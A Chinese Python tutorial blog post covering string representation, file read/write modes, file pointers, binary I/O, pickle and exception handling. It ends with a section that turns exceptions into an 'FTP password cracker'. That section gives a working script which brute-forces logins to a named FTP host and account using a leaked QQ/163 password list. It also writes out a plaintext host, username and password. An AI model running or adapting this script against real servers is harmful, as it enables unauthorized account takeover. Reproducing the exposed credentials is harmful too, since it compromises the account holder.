文件读写与网站密码破解

认识一下repr

str是转化成人能看懂得符号,repr是转成机器能看懂的符号

mystr=str(1.34)
print(type(mystr)) #字符串类型
print(str(1)+"1")  #str()转化为字符串
x= str("1+2.5")  #repr打印的时候是计算机看懂,str人可以看懂
print(type(x))
print(x)  #repr   '1+2.5'    str  1+2.5
print(repr(1))  #str无法区分类型,统一转换字符串
print(repr("1")) #repr打印出来的时候,标记类型
print(repr([1]))
print(repr((1,)))#(1,) tuple  (1) int
print("1","2")
print("1".ljust(10),"2") #对齐,ljust左边对齐
print("1".rjust(10),"2")#rjust右边对齐
print("1".zfill(10),"2") #zero  fill  填充0

结果:
在这里插入图片描述

文件的追加写入

cmd中追加

echo  asdadsad  >1.txt   覆盖写入
echo  asdadsad  >>1.txt   追加写入

使用python追加

#r 读取,w写入覆盖,a追加
myfile  =open("1.py","a") #1.txt当前目录下
myfile.write("print('hello haipeng hougong')\n")
myfile.close()

import os
os.system("python 1.py")

文件读写模式

在这里插入图片描述
先看代码,会遇到比较难理解的是w+,readline会去不断读入有一个文件指针,会一直往后走,需要seek到(0,0)不然读不出内容

'''
mypath="C:\\Users\\Tsinghua-yincheng\\Desktop\\1.txt"
myfile=open(mypath,"r+") #文件存在的情况下,r+读写,写追加
mystr=myfile.read()
print(mystr)
myfile.write("ABCDEFG")
myfile.close()
'''
'''
mypath="C:\\Users\\Tsinghua-yincheng\\Desktop\\2.txt"
myfile=open(mypath,"w+") #w+覆盖写入,同时可以读取,需要注意文件指针,
myfile.write("adsadABCDEFG")
myfile.seek(0,0)#移动到文件的开头  0,0开头
mystr=myfile.read()
print(mystr)
myfile.close()
'''

mypath="C:\\Users\\Tsinghua-yincheng\\Desktop\\3.txt"
myfile=open(mypath,"a+") #不存在创建,存在追加,追加的读写
myfile.write("adsadABCDEFG")
myfile.seek(0,0)#移动到文件的开头  0,0开头
mystr=myfile.read()
print(mystr)
myfile.close()

二进制读写

decode二进制转化字符串
encode字符串转化二进制

mypath="C:\\Users\\Tsinghua-yincheng\\Desktop\\1b.txt"
myfile=open(mypath,"wb+") #文件存在的情况下,r+读写,写追加
myfile.write("ABCDEFG".encode("utf-8"))
print(type("ABCDEFG".encode("utf-8"))) #二进制编码
myfile.seek(0,0)#回到文件开头
mystr=myfile.read()
mystr=mystr.decode("utf-8") #二进制转化为字符串
print(mystr)
print(type(mystr))
myfile.close()

# decode   二进制转化字符串    读取的时候读的是二进制转化字符串
# encode  字符串转化二进制   写入的时候转化二进制
#标准 UTf-8

文件位置函数

myfile  =open("1.txt","w")
print(myfile.tell()) #文件的开头0,
myfile.write("print('hello haipeng hougong')\n")
print(myfile.tell())#文件的结尾,告诉文件指针在那个位置
myfile.close()

结果:这个代表着文件指针的位置,32就是write的长度
在这里插入图片描述

移动文件指针位置

myfile  =open("1.txt","w+")
myfile.write("print('hello haipeng hougong')\n")
myfile.seek(3,0) #移动文件指针的位置,
mystr=myfile.read()
print(mystr)
myfile.close()

结果:seek往后找
在这里插入图片描述

对象序列化 pickle

list,dict,tuple,set.这些类型保存文件使用pickle

'''
import pickle

mylist=[1,2,3,4,5,[1,2,3,4,[1,2,3,4,5]]]
print(mylist)

myfile=open("1.bin","wb") #打开一个文件,二进制写入
pickle.dump(mylist,myfile) #  mylist填充到myfile
myfile.close() #关闭生效

'''
import pickle
myfile=open("1.bin","rb")
mylist=pickle.load(myfile) #载入
print(mylist)
myfile.close()

异常

eval功能很强大,官方解释:将字符串str当成有效的表达式来求值并返回计算结果。所以结合math当成一个计算器很好用。

x=eval(input("输入数据"))  #异常,有时行有时不行
print(10/x)
print("hello world")

如何处理异常:

try: #尝试
    x = eval(input("输入数据"))  # 异常,有时行有时不行
    print(10 / x)
except ZeroDivisionError: #抓取明确的异常错误
    print("不可以输入0")

print("hello world")  #即使发生异常,后续代码执行

FTP密码破解

ftplib先要输入服务器地址与登录账号密码,

import  ftplib
'''
try:
    myftp=ftplib.FTP("hk801.pc51.com")
    myftp.login("qinghuabeidacn517","qq123456")
    print("密码正确")
except:
    print("密码错误")

print("程序执行完成")
'''
try:
    myftp = ftplib.FTP("hk801.pc51.com")
    myftp.login("qinghuabeidacn517", "qq123456")
    print("密码正确")
    print("程序执行完成")
except TimeoutError:
    print("超时,网络问题")
except  ftplib.error_perm:
    print("密码错误")
except:
    print("其他错误")

'''
myftp = ftplib.FTP("hk801.pc51.com")
myftp.login("qinghuabeidacn517", "qq123456")
'''
#TimeoutError

FTP密码破解机

如何用异常来破解密码,得到了地址跟账号那么密码就暴力破解,用之前的qq的密码数据从最多的到最少的顺序挨个来,穷举出所有的密码,一个一个放入checkpassword里。

import ftplib
import time
def  checkpassword(password):
    try:
        myftp=ftplib.FTP("hk801.pc51.com")
        myftp.login("qinghuabeidacn517",password)
        return  "密码正确"+password
    except TimeoutError:
        print("超时,网络问题")
        time.sleep(20)
        return "测试超时" + password
    except:
        return "密码错误" + password
passwordpath=r"C:\Users\Tsinghua-yincheng\Desktop\yinchengDay3\qqAnd163Password.txt"
passwordfile=open(passwordpath,"r",errors="ignore")
#穷举所有的密码
while  True:
    line=passwordfile.readline() #读取一行
    if  not  line: #最后一行None退出
        break

    linelist=line.split(" # ")#切割
    passwordstr=  linelist[0] #抓取第一个密码
    #print(checkpassword(passwordstr)) #显示密码
    mystr=checkpassword(passwordstr)
    print(mystr)
    if  mystr.find("密码正确")!=-1: #找到就退出
        print("找到正确密码,退出死循环")
        break
    elif mystr.find("超时")!=-1:
        mystr = checkpassword(passwordstr)
        if mystr.find("密码正确") != -1:  # 找到就退出
            print("找到正确密码,退出死循环")
            break
passwordfile.close()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

青灯有味是儿时

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值